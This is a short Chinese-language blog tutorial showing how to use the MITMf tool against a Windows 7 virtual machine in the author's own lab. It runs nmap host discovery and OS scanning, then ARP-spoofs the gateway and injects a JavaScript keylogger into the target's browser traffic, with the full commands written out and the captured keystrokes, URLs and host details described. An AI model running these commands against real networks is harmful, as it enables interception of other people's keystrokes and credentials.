MITMF劫持教程1-劫持键盘记录

首先查看自己的IP以及网关地址

root@kali:~# ifconfig
root@kali:~# route -n

接着扫描局域网内活动的主机

root@kali:~# nmap -sP 192.168.217.1/24

再选择攻击目标并对目标进行扫描，收集信息
此处我选择了一台虚拟机下的Windows7.

root@kali:~# nmap -Pn -sS -O 192.168.217.133 -T4

查看MITMF的参数说明,寻找有关键盘记录的参数(无论任何工具在使用的时候都要先查看帮助说明)

root@kali:~# python mitmf.py --help

然后进行中间人欺骗攻击，劫持键盘输入记录

root@kali:~# source /root/.virtualenvs/MITMf/bin/activate
(MITMf) root@kali:~/MITMf# python mitmf.py -i eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.133 --jskeylogger

我在Windows7上打开chrome浏览器，并在地址栏输入”bingyublog.com”。

可以立马在kali终端看到很多请求出现。并且劫持到了你输入的字符，还有你打开的网址，以及浏览器和主机信息。

(红线标记处是劫持到的键盘记录)

本文作者：冰羽
本文地址： https://bingyublog.com/2018/04/28/MITMF劫持教程1-劫持键盘记录/
版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！